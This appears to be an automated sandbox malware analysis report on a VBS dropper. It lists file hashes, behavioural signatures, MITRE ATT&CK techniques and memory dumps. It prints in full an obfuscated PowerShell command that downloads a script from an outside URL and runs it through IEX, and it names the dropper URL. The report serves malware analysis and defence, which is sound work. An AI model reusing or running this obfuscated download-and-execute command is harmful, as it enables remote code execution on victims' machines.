c473c06a6459fdf0ec51659776a5665e561166d899d4ee20048ba0938a3b5388

Analysis

max time kernel
120s
max time network
131s
platform
windows7_x64
resource
win7-en-20210920
submitted
23-10-2021 06:18

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General

Target

WAPOLQA77372.vbs
Size

746B
MD5

ce629de1aaf24d2eb4fa640a576193c2
SHA1

6468c284159433cfdf6722b29beb5a3b7a536cca
SHA256

c473c06a6459fdf0ec51659776a5665e561166d899d4ee20048ba0938a3b5388
SHA512

e9272aa122af17ef6e6decb14465eb2000fe424381a0bbe19fb21468036d5bba85941e3b5b70ef1b9938b50615698e2b4d878efce0376bf6f7835d68f244e5f2

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://thespringreviews.com/.Fainl.txt

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 1412 powershell.exe
6 1412 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1412 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1412 powershell.exe

flow	pid	process
5	1412	powershell.exe
6	1412	powershell.exe

pid	process
1412	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1412	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1600 wrote to memory of 1412	1600	WScript.exe	powershell.exe
PID 1600 wrote to memory of 1412	1600	WScript.exe	powershell.exe
PID 1600 wrote to memory of 1412	1600	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\WAPOLQA77372.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow^!loadStri^!g'.replace('^!','n'),[Microsoft.VisualBasic.CallType]::Method,'https://+++++++++++++++++++++.com/.Fainl.txt'.Replace('+++++++++++++++++++++','thespringreviews'))|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1412

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1412-55-0x0000000000000000-mapping.dmp

Download
memory/1412-57-0x000007FEF1DD0000-0x000007FEF292D000-memory.dmp

Filesize
11.4MB

Download
memory/1412-59-0x00000000026C0000-0x00000000026C2000-memory.dmp

Filesize
8KB

Download
memory/1412-60-0x00000000026C2000-0x00000000026C4000-memory.dmp

Filesize
8KB

Download
memory/1412-61-0x00000000026C4000-0x00000000026C7000-memory.dmp

Filesize
12KB

Download
memory/1412-58-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

Filesize
3.0MB

Download
memory/1412-62-0x00000000026CB000-0x00000000026EA000-memory.dmp

Filesize
124KB

Download
memory/1600-54-0x000007FEFB8B1000-0x000007FEFB8B3000-memory.dmp

Filesize
8KB

Download